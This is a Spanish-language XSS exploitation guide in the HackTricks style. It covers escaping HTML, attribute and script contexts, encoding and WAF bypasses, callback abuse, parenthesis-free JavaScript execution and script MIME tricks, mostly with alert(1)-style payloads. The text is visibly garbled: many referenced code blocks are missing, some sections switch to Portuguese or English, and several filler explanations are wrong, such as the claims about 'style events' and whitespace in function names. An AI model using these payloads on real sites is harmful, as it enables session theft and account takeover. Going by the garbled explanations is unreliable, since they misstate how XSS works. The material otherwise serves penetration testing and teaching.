**Consejo de recompensa por errores**: ¡**Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
1. Verifica si **cualquier valor que controles** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) se está **reflejando** en el HTML o se está utilizando en el código **JS**.
4. ¿El contenido HTML se interpreta mediante algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...)? Podrías abusar de una [**Inyección de Plantillas del Lado del Cliente**](../client-side-template-injection-csti.md).
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿puedes abusar de una [**Inyección de Marcado Colgante - Inyección de HTML sin script**](../dangling-markup-html-scriptless-injection.md)?
2. Dentro de una **etiqueta HTML**:
1. ¿Puedes salir al contexto de HTML sin procesar?
2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
3. ¿El atributo en el que estás atrapado admite la ejecución de JS?
4. ¿Puedes evadir protecciones?
3. Dentro del código **JavaScript**:
1. ¿Puedes escapar de la etiqueta `<script>`?
2. ¿Puedes escapar de la cadena y ejecutar un código JS diferente?
3. ¿Tu entrada está en literales de plantilla \`\`?
4. ¿Puedes evadir protecciones?
4.**Función** de JavaScript que se está **ejecutando**
1. Puedes indicar el nombre de la función a ejecutar. p. ej.: `?callback=alert(1)`
* **Reflejado intermedio**: Si descubres que el valor de un parámetro o incluso de la ruta se refleja en la página web, podrías explotar un **XSS Reflejado**.
* **Almacenado y reflejado**: Si descubres que un valor controlado por ti se guarda en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**.
* **Accedido mediante JS**: Si descubres que se accede a un valor controlado por ti mediante JS, podrías explotar un **DOM XSS**.
Cuando intentes explotar un XSS, lo primero que debes saber es **dónde se está reflejando tu entrada**. Dependiendo del contexto, podrás ejecutar código JS arbitrario de diferentes formas.
Si tu entrada se **refleja en el HTML sin procesar** de la página, deberás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías utilizar.\
1.**Escapar del atributo y de la etiqueta** (luego estarás en el HTML sin procesar) y crear una nueva etiqueta HTML para abusar de ella: `"><img [...]`
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
3. Si **no puedes escapar del atributo** (`"` se está codificando o eliminando), entonces, dependiendo de **qué atributo** refleje tu valor y si controlas todo el valor o solo una parte, podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=`, podrás hacer que ejecute código arbitrario cuando se haga clic en él. Otro **ejemplo** interesante es el atributo `href`, donde puedes utilizar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
4. Si tu entrada se refleja dentro de etiquetas "**no explotables**", podrías intentar el truco de **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
En este caso, tu entrada se refleja entre las etiquetas **`<script> [...] </script>`** de una página HTML, dentro de un archivo `.js` o dentro de un atributo que utiliza el protocolo **`javascript:`**:
* Si se refleja entre las etiquetas **`<script> [...] </script>`**, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar `</script>` y escapar de este contexto. Esto funciona porque el **navegador primero analizará las etiquetas HTML** y luego el contenido, por lo tanto, no se dará cuenta de que tu etiqueta `</script>` inyectada está dentro del código HTML.
* Si se refleja **dentro de una cadena JS** y el último truco no funciona, deberás **salir** de la cadena, **ejecutar** tu código y **reconstruir** el código JS (si hay algún error, no se ejecutará):
*`'-alert(1)-'`
*`';-alert(1)//`
*`\';alert(1)//`
* Si se refleja dentro de literales de plantilla, puedes **incrustar expresiones JS** utilizando la sintaxis `${ ... }`: `` var greetings = `Hola, ${alert(1)}` ``
Por lo tanto, si tienes escenarios en los que puedes **inyectar código JS después de que se utiliza un objeto no declarado**, puedes **solucionar la sintaxis** declarándolo (para que tu código se ejecute en lugar de generar un error):
Para obtener más información sobre el Hoisting de JavaScript, consulta: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
Varias páginas web tienen puntos finales que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común que se encuentra en la práctica es algo como: `?callback=callbackFunc`.
Una buena manera de descubrir si algo proporcionado directamente por el usuario está tratando de ser ejecutado es **modificar el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscar en la consola errores como:
En caso de que sea vulnerable, podrías ser capaz de **activar una alerta** simplemente enviando el valor: **`?callback=alert(1)`**. Sin embargo, es muy común que estos puntos finales **validen el contenido** para permitir solo letras, números, puntos y guiones bajos (**`[\w\._]`**).
Sin embargo, incluso con esa limitación, aún es posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para **acceder a cualquier elemento en el DOM**:
Sin embargo, por lo general, los puntos finales que ejecutan la función indicada son puntos finales sin mucho DOM interesante, **otras páginas en la misma origen** tendrán un DOM **más interesante** para realizar más acciones.
Por lo tanto, con el fin de **abusar de esta vulnerabilidad en un DOM diferente**, se desarrolló la explotación de **Same Origin Method Execution (SOME)**:
Hay **código JS** que está utilizando de manera **insegura** algunos **datos controlados por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.
Este tipo de XSS se puede encontrar **en cualquier lugar**. No dependen solo de la explotación del cliente de una aplicación web, sino de **cualquier****contexto**. Este tipo de **ejecución arbitraria de JavaScript** incluso se puede abusar para obtener **RCE**, **leer****archivos****arbitrarios** en clientes y servidores, y más.\
Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que debes hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: simplemente intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en el último caso podrás explotar este caso**.\
Para estos casos, también **ten en cuenta** [**Inyección de Plantillas en el Lado del Cliente (Client Side Template Injection)**](../client-side-template-injection-csti.md)**.**\
Pero, si se está utilizando una lista negra/blanca de etiquetas/atributos, deberás **realizar un ataque de fuerza bruta para determinar qué etiquetas** puedes crear.\
Una vez que hayas **localizado qué etiquetas están permitidas**, deberás realizar un ataque de fuerza bruta para encontrar atributos/eventos dentro de las etiquetas válidas y ver cómo puedes atacar el contexto.
Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envíalas todas utilizando Burp Intruder y verifica si alguna etiqueta no fue detectada como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **realizar un ataque de fuerza bruta a todos los eventos** utilizando las etiquetas válidas (en la misma página web, haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).
Si no encontraste ninguna etiqueta HTML válida, puedes intentar **crear una etiqueta personalizada** y ejecutar código JS con el atributo `onfocus`. En la solicitud XSS, debes terminar la URL con `#` para que la página **se enfoque en ese objeto** y **ejecute** el código:
**Más XSS pequeños para diferentes entornos** se pueden encontrar los payloads [**aquí**](https://github.com/terjanq/Tiny-XSS-Payloads) y [**aquí**](https://tinyxss.terjanq.me).
Si para aprovechar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o un formulario** con datos prellenados, puedes intentar [**abusar del Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
Si simplemente crees que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Dangling Markup**](../dangling-markup-html-scriptless-injection.md) porque podrías **explotar** la vulnerabilidad **sin** ejecutar código **JS**.
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y utilizar algunas de las técnicas mencionadas en la [sección anterior](./#injecting-inside-raw-html) para ejecutar código JS.\
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo utilizando una carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
Los eventos de estilo son una técnica comúnmente utilizada en ataques de XSS (Cross-Site Scripting) para ejecutar código malicioso en un sitio web. Estos eventos se aprovechan de la capacidad de los navegadores web para interpretar y ejecutar código JavaScript dentro de etiquetas HTML.
Los eventos de estilo se basan en la idea de que los navegadores web permiten la ejecución de código JavaScript en ciertos eventos de estilo, como `onmouseover` (cuando el cursor se coloca sobre un elemento) o `onload` (cuando se carga la página). Al aprovechar estos eventos, un atacante puede inyectar y ejecutar su propio código JavaScript en el contexto de la página web.
Para explotar un evento de estilo, el atacante puede insertar código JavaScript malicioso dentro de una etiqueta HTML, utilizando el atributo `style` o el atributo `on[evento]`. Por ejemplo, el siguiente código HTML muestra cómo se puede utilizar un evento de estilo para ejecutar un script malicioso cuando el cursor se coloca sobre un elemento:
Es importante tener en cuenta que los eventos de estilo solo pueden ejecutar código JavaScript en el contexto del navegador del usuario. No pueden acceder a información confidencial del servidor o realizar acciones en nombre del usuario. Sin embargo, aún pueden ser utilizados para robar información sensible, redirigir a los usuarios a sitios web maliciosos o realizar otras acciones perjudiciales.
Para protegerse contra los ataques de XSS basados en eventos de estilo, los desarrolladores web deben implementar medidas de seguridad, como la validación y el escape adecuado de los datos de entrada, así como el uso de políticas de seguridad de contenido (CSP) para limitar la ejecución de código JavaScript no confiable.
Incluso si **no puedes escapar del atributo** (`"` se está codificando o eliminando), dependiendo de **qué atributo** se refleje tu valor y si controlas todo el valor o solo una parte, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=`, podrás hacer que se ejecute código arbitrario cuando se haga clic en él.\
Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
Los caracteres **codificados en HTML** dentro del valor de los atributos de las etiquetas HTML se **decodifican en tiempo de ejecución**. Por lo tanto, algo como lo siguiente será válido (la carga útil está en negrita): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
Ten en cuenta que **cualquier tipo de codificación HTML es válida**:
A técnica de codificação Unicode é frequentemente usada para contornar filtros de entrada que bloqueiam certos caracteres especiais. Ao usar a codificação Unicode, é possível representar caracteres especiais por meio de sequências de escape, permitindo que eles passem pelos filtros de entrada.
No contexto de XSS (Cross-Site Scripting), essa técnica pode ser usada para contornar a restrição de eventos internos, como `onmouseover` ou `onclick`. Ao codificar os caracteres especiais relevantes em sequências de escape Unicode, é possível injetar código malicioso em um evento interno e executá-lo quando o evento é acionado.
Por exemplo, se o filtro de entrada bloquear o caractere `<`, podemos usar a sequência de escape Unicode `<` para representá-lo. Dessa forma, podemos injetar código malicioso em um evento interno, como `onmouseover`, usando a seguinte sintaxe:
Ao codificar os caracteres especiais relevantes, podemos contornar o filtro de entrada e executar o código malicioso quando o evento `onmouseover` é acionado.
É importante ressaltar que a codificação Unicode não é uma solução universal para contornar filtros de entrada. Alguns filtros podem ser configurados para detectar e bloquear sequências de escape Unicode. Portanto, é essencial entender as limitações e adaptar as técnicas de acordo com o contexto específico.
Allí puedes usar los protocolos **`javascript:`** o **`data:`** en algunos lugares para **ejecutar código JS arbitrario**. Algunos requerirán interacción del usuario y otros no.
**En general**, el protocolo `javascript:` se puede **utilizar en cualquier etiqueta que acepte el atributo `href`** y en **la mayoría** de las etiquetas que aceptan el **atributo `src`** (pero no `<img`).
_**En este caso, la codificación HTML y el truco de codificación Unicode de la sección anterior también son válidos, ya que estás dentro de un atributo.**_
Además, hay otro **truco interesante** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en URL, será decodificada antes de ser ejecutada.** Así que, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en URL**, recuerda que **no importa**, será **interpretada** como una **comilla simple** durante el **tiempo de ejecución**.
Ten en cuenta que si intentas **usar ambos**`URLencode + HTMLencode` en cualquier orden para codificar la **carga útil**, no funcionará, pero puedes **mezclarlos dentro de la carga útil**.
Puedes usar la codificación **hexadecimal** y **octal** dentro del atributo `src` de `iframe` (al menos) para declarar **etiquetas HTML para ejecutar JS**:
Reverse tab nabbing is a type of cross-site scripting (XSS) attack that targets users who have multiple tabs open in their web browser. The attack takes advantage of the trust users have in the websites they are currently browsing.
When a user clicks on a link on a malicious website, the attacker's website will open in a new tab. The attacker's website will then replace the content of the original tab with a phishing page that looks identical to the trusted website the user was previously viewing.
The user may not notice the change in the tab, as they are still on the same domain and the URL may appear legitimate. If the user enters their login credentials or other sensitive information on the phishing page, it will be sent to the attacker, allowing them to gain unauthorized access to the user's account.
To protect against reverse tab nabbing, users should be cautious when clicking on links, especially from untrusted sources. It is also recommended to regularly update web browsers and use security plugins that can detect and block malicious websites.
Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que contenga los atributos **`target="_blank"`** y **`rel="opener"`**, verifica la **siguiente página para explotar este comportamiento**:
En primer lugar, verifica esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener información útil sobre los **manejadores de eventos "on"**.\
Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de los inputs ocultos con:**
<buttonpopovertarget="newsletter">Subscribe to newsletter</button>
<divpopoverid="newsletter">Newsletter popup</div>
```
Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar una **carga útil XSS dentro de un atributo oculto**, siempre y cuando puedas **persuadir** a la **víctima** para que presione la **combinación de teclas**. En Firefox Windows/Linux, la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente utilizando una tecla diferente en el atributo de clave de acceso. Aquí está el vector:
Si encuentras un **XSS en una parte muy pequeña** de la web que requiere algún tipo de interacción (tal vez un pequeño enlace en el pie de página con un elemento onmouseover), puedes intentar **modificar el espacio que ocupa ese elemento** para maximizar las probabilidades de que se active el enlace.
Este truco fue tomado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
En este caso, tu **entrada** se va a **reflejar dentro del código JS** de un archivo `.js` o entre las etiquetas `<script>...</script>` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`.
Si tu código se inserta dentro de `<script> [...] var input = 'datos reflejados' [...] </script>`, puedes **escapar cerrando la etiqueta `<script>`** fácilmente:
Ten en cuenta que en este ejemplo **ni siquiera hemos cerrado la comilla simple**, pero eso no es necesario ya que el **navegador primero realiza el análisis HTML** para identificar los elementos de la página, incluidos los bloques de script, y solo más tarde realiza el análisis de JavaScript para comprender y ejecutar los scripts incrustados.
Si `<>` están siendo sanitizados, aún puedes **escapar la cadena** donde se encuentra tu entrada y **ejecutar JS arbitrario**. Es importante **corregir la sintaxis de JS**, porque si hay algún error, el código JS no se ejecutará:
Para construir **cadenas de texto** aparte de las comillas simples y dobles, JS también acepta **acentos graves****` `` `**. Esto se conoce como literales de plantilla, ya que permiten **incrustar expresiones JS** utilizando la sintaxis `${ ... }`.\
Por lo tanto, si descubres que tu entrada se está **reflejando** dentro de una cadena de texto JS que utiliza acentos graves, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
Cross-site scripting (XSS) es una vulnerabilidad común en aplicaciones web que permite a los atacantes inyectar y ejecutar código malicioso en el navegador de un usuario. Una forma común de explotar esta vulnerabilidad es a través de la ejecución de código codificado.
La ejecución de código codificado implica la manipulación de datos de entrada para que se interpreten como código en lugar de texto normal. Esto se logra utilizando técnicas de codificación, como la codificación HTML o la codificación de URL, para ocultar el código malicioso dentro de los datos de entrada.
Cuando el servidor web recibe los datos de entrada codificados, los decodifica y los muestra en el navegador del usuario sin realizar ninguna validación o filtrado adecuado. Como resultado, el código malicioso se ejecuta en el contexto del sitio web vulnerable, lo que permite al atacante robar información confidencial, realizar acciones no autorizadas o incluso tomar el control total del sitio web.
Para explotar esta vulnerabilidad, el atacante debe encontrar un punto de entrada en la aplicación web donde pueda inyectar código malicioso. Esto puede ser a través de campos de entrada de usuario, como formularios de inicio de sesión o campos de comentarios, o mediante parámetros de URL.
Una vez que se encuentra un punto de entrada, el atacante puede comenzar a manipular los datos de entrada para codificar el código malicioso. Por ejemplo, si el atacante desea inyectar un script JavaScript, puede codificarlo utilizando la función `encodeURIComponent()` en JavaScript.
```javascript
var maliciousCode = '<script>alert("XSS");</script>';
var encodedCode = encodeURIComponent(maliciousCode);
```
El código malicioso codificado se puede enviar al servidor web a través de la solicitud HTTP. Cuando el servidor web recibe los datos de entrada codificados, los decodifica y los muestra en el navegador del usuario sin realizar ninguna validación o filtrado adecuado. Como resultado, el código malicioso se ejecuta en el contexto del sitio web vulnerable, lo que permite al atacante lograr sus objetivos maliciosos.
Para protegerse contra la ejecución de código codificado, es importante implementar medidas de seguridad adecuadas en la aplicación web. Esto incluye la validación y filtrado de datos de entrada, la implementación de listas blancas de caracteres permitidos y la codificación adecuada de datos de salida. Además, mantenerse actualizado con los parches de seguridad y las mejores prácticas de desarrollo web puede ayudar a prevenir ataques de XSS.
La codificación Unicode es una técnica utilizada en ataques de Cross-Site Scripting (XSS) para ejecutar código JavaScript en un sitio web vulnerable.
En este tipo de ataque, el objetivo es aprovechar la forma en que el navegador interpreta y muestra los caracteres Unicode para engañarlo y ejecutar código malicioso.
El proceso implica codificar el código JavaScript en una secuencia de caracteres Unicode y luego inyectarla en un campo vulnerable del sitio web. Cuando el navegador interpreta esta secuencia, ejecuta el código JavaScript incrustado.
Este tipo de ataque puede ser utilizado para robar información confidencial, como credenciales de usuario, o para realizar acciones maliciosas en el sitio web, como redirigir a los usuarios a páginas falsas o realizar cambios no autorizados en el contenido.
Es importante tener en cuenta que la codificación Unicode no es una técnica exclusiva de XSS, y puede ser utilizada en otros contextos para evadir filtros de seguridad y ejecutar código malicioso. Por lo tanto, es fundamental implementar medidas de seguridad adecuadas, como la validación y sanitización de entradas de usuario, para prevenir este tipo de ataques.
En algunos casos, cuando se realiza una inyección de código JavaScript en un sitio web, es posible que se necesite realizar sustituciones de espacio para evitar que el código sea bloqueado o filtrado por los mecanismos de seguridad del sitio. Esto se debe a que algunos filtros de seguridad pueden detectar y bloquear ciertos patrones de código, incluyendo espacios en blanco.
Una técnica común para realizar estas sustituciones de espacio es utilizar diferentes métodos para representar un espacio en blanco en el código JavaScript. Algunos de estos métodos incluyen:
Estas técnicas permiten evitar la detección de espacios en blanco por parte de los filtros de seguridad, lo que puede ayudar a que el código inyectado se ejecute correctamente en el sitio web objetivo. Sin embargo, es importante tener en cuenta que estas técnicas pueden variar dependiendo del contexto y de las restricciones impuestas por el sitio web en particular. Por lo tanto, es necesario realizar pruebas exhaustivas para determinar qué método de sustitución de espacio es el más efectivo en cada caso.
Los espacios en blanco en JavaScript se refieren a los caracteres que no son visibles, como los espacios, las tabulaciones y los saltos de línea. Aunque estos caracteres generalmente no tienen ningún efecto en el comportamiento del código, pueden ser utilizados de manera maliciosa en ataques de Cross-Site Scripting (XSS).
En un ataque de XSS, un atacante puede insertar código JavaScript malicioso en una página web para ejecutarlo en el navegador de un usuario desprevenido. Los espacios en blanco pueden ser utilizados para ocultar este código malicioso y evitar su detección.
Es importante tener en cuenta que los espacios en blanco no son necesarios para que el código JavaScript funcione correctamente. Por lo tanto, es recomendable eliminar cualquier espacio en blanco innecesario en el código para reducir el riesgo de ataques de XSS.
Aquí hay algunos ejemplos de cómo los espacios en blanco pueden ser utilizados en un ataque de XSS:
- **Espacios en blanco antes y después del código malicioso**: El atacante puede agregar espacios en blanco antes y después del código malicioso para ocultarlo de los filtros de seguridad y hacer que sea más difícil de detectar.
- **Espacios en blanco dentro del código malicioso**: El atacante puede agregar espacios en blanco dentro del código malicioso para dificultar su análisis y evitar su detección.
- **Espacios en blanco en nombres de funciones y variables**: El atacante puede utilizar espacios en blanco en los nombres de funciones y variables para evadir los filtros de seguridad y ejecutar su código malicioso.
En resumen, los espacios en blanco en JavaScript pueden ser utilizados de manera maliciosa en ataques de XSS. Es importante tener en cuenta su presencia y eliminar cualquier espacio en blanco innecesario en el código para reducir el riesgo de ataques.
Cuando se trata de encontrar vulnerabilidades de Cross-Site Scripting (XSS), es importante tener en cuenta que el código JavaScript también puede estar oculto dentro de los comentarios HTML. Los comentarios son secciones de código que no se muestran en la página web, pero aún así son interpretados por el navegador.
Un atacante puede aprovechar esta vulnerabilidad al insertar código JavaScript malicioso dentro de un comentario HTML. Si el sitio web no tiene una protección adecuada, este código puede ejecutarse en el navegador de los usuarios que visiten la página.
Para identificar si un sitio web es vulnerable a este tipo de ataque, se puede utilizar una técnica llamada "Javascript inside a comment". Esto implica insertar un código JavaScript de prueba dentro de un comentario HTML y verificar si se ejecuta en el navegador.
Aquí hay un ejemplo de cómo se puede realizar esta técnica:
En este ejemplo, el código JavaScript `alert('XSS');` está oculto dentro de un comentario HTML. Si el sitio web es vulnerable, el navegador ejecutará este código y mostrará una alerta con el mensaje "XSS".
Es importante destacar que esta técnica solo se utiliza con fines de prueba y no debe ser utilizada de manera maliciosa. Los pentesters y los investigadores de seguridad deben obtener el permiso adecuado antes de realizar cualquier prueba de penetración en un sitio web.
En algunos casos, es posible ejecutar código JavaScript sin utilizar paréntesis. Esto se debe a que JavaScript permite llamar a una función sin utilizar paréntesis si no se le pasan argumentos.
En este caso, `alert` es una función que muestra una ventana emergente en el navegador. Normalmente, se llamaría a esta función utilizando paréntesis, como `alert("Hello, world!")`. Sin embargo, en este caso, se utiliza la sintaxis de plantilla de cadena de JavaScript para llamar a la función sin paréntesis.
Esta técnica puede ser utilizada para ejecutar código malicioso en un sitio web vulnerable a ataques de Cross-Site Scripting (XSS). Al aprovechar esta funcionalidad de JavaScript, un atacante puede inyectar código malicioso en una página web y ejecutarlo sin utilizar paréntesis.
Es importante tener en cuenta que esta técnica solo funciona en navegadores que admiten la sintaxis de plantilla de cadena de JavaScript. Además, es crucial comprender que el uso de esta técnica para fines maliciosos es ilegal y éticamente incorrecto. Solo se debe utilizar con fines educativos y de prueba en un entorno controlado y autorizado.
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
Hay **código JS** que está utilizando **datos controlados por un atacante de manera insegura**, como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
**Debido a la extensión de la explicación de** [**las vulnerabilidades DOM, se movió a esta página**](dom-xss.md)**:**
Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
Además, no olvides que **al final del mencionado artículo** puedes encontrar una explicación sobre [**los ataques de Clobbering DOM**](dom-xss.md#dom-clobbering).
Puedes verificar si los **valores reflejados** están siendo **normalizados en Unicode** en el servidor (o en el lado del cliente) y abusar de esta funcionalidad para evadir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/#xss-cross-site-scripting).
Debido a la asignación masiva de RoR, las comillas se insertan en el HTML y luego se omite la restricción de comillas y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\
Por ejemplo, en este [informe](https://hackerone.com/reports/709336), si envías la carga útil:
Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, puedes intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto no es trivial, ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que una carga útil de scripting entre sitios no sirve de nada.
En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado de ubicación y ver si alguno de ellos permite que el navegador inspeccione y ejecute la carga útil de XSS dentro del cuerpo.\
Si puedes indicar la **función de devolución de llamada** que JavaScript va a **ejecutar** limitada a esos caracteres. [**Lee esta sección de esta publicación**](./#javascript-function) para descubrir cómo abusar de este comportamiento.
(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si intentas cargar un script con un **tipo de contenido** como `application/octet-stream`, Chrome mostrará el siguiente error:
> Se ha denegado la ejecución de un script desde '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque su tipo MIME ('application/octet-stream') no es ejecutable y la comprobación estricta del tipo MIME está habilitada.
Los únicos **tipos de contenido** que Chrome admitirá para ejecutar un script cargado son aquellos que se encuentran dentro de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Entonces, ¿qué tipos podrían indicarse para cargar un script?
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un conjunto de datos (HTML, CSS, JS...) en un archivo **`.wbn`**.
Este comportamiento fue utilizado en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para remapear una biblioteca a eval y abusar de ella para desencadenar XSS.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esta característica se utiliza principalmente para resolver algunos problemas causados por la pre-renderización. Funciona de la siguiente manera:
(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
* text/html
* application/xhtml+xml
* application/xml
* text/xml
* image/svg+xml
* text/plain (?? no está en la lista, pero creo que lo vi en un CTF)
En otros navegadores se pueden utilizar otros **`tipos de contenido`** para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**, el atacante podría utilizar [**reemplazos especiales de cadenas**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para intentar evadir algunas protecciones: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Por ejemplo, en [**este informe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se utilizó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario.
Si **todo está indefinido** antes de ejecutar código no confiable (como en [**este informe**](https://blog.huli.tw/2022/02/08/es/lo-que-aprendi-de-dicectf-2022/#miscx2fundefined55-solves)), es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario:
* Utilizando import()
```javascript
// although import "fs" doesn’t work, import('fs') does.
[De acuerdo a esto](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) los módulos son envueltos por Node.js dentro de una función, de esta manera:
Por lo tanto, si desde ese módulo podemos **llamar a otra función**, es posible utilizar `arguments.callee.caller.arguments[1]` desde esa función para acceder a **`require`**: 
De manera similar al ejemplo anterior, es posible **utilizar manejadores de errores** para acceder al **envoltorio** del módulo y obtener la función **`require`**:
* JSFuck más sofisticado: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
El XSS (Cross-Site Scripting) es una vulnerabilidad común en aplicaciones web que permite a los atacantes inyectar y ejecutar código malicioso en el navegador de un usuario. Esto puede llevar a ataques como robo de sesiones, phishing y redireccionamiento a sitios web maliciosos.
1.**Reflejado (Reflected XSS):** El código malicioso se inyecta a través de una URL y se refleja en la respuesta del servidor. Cuando un usuario hace clic en el enlace malicioso, el código se ejecuta en su navegador.
2.**Almacenado (Stored XSS):** El código malicioso se almacena en la base de datos o en el servidor y se muestra a los usuarios cuando acceden a una página específica. Esto puede ocurrir en áreas como comentarios, foros o campos de entrada de datos.
3.**Basado en DOM (DOM-based XSS):** El código malicioso se ejecuta en el lado del cliente manipulando el DOM (Modelo de Objetos del Documento) de la página web. Esto puede ocurrir cuando se utilizan scripts en el lado del cliente para procesar datos no confiables.
- **Uso de encabezados de seguridad:** Configurar encabezados de seguridad, como Content Security Policy (CSP), para limitar la ejecución de scripts no confiables.
- **Control de acceso a cookies:** Configurar las cookies con el atributo `HttpOnly` para evitar que sean accedidas por scripts en el lado del cliente.
En este caso, el código malicioso se ejecuta en el navegador del usuario y envía las cookies al servidor malicioso. Esto podría permitir al atacante robar la sesión del usuario y realizar acciones en su nombre.
No podrás acceder a las cookies desde JavaScript si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de evadir esta protección](../hacking-with-cookies/#httponly) si tienes la suficiente suerte.
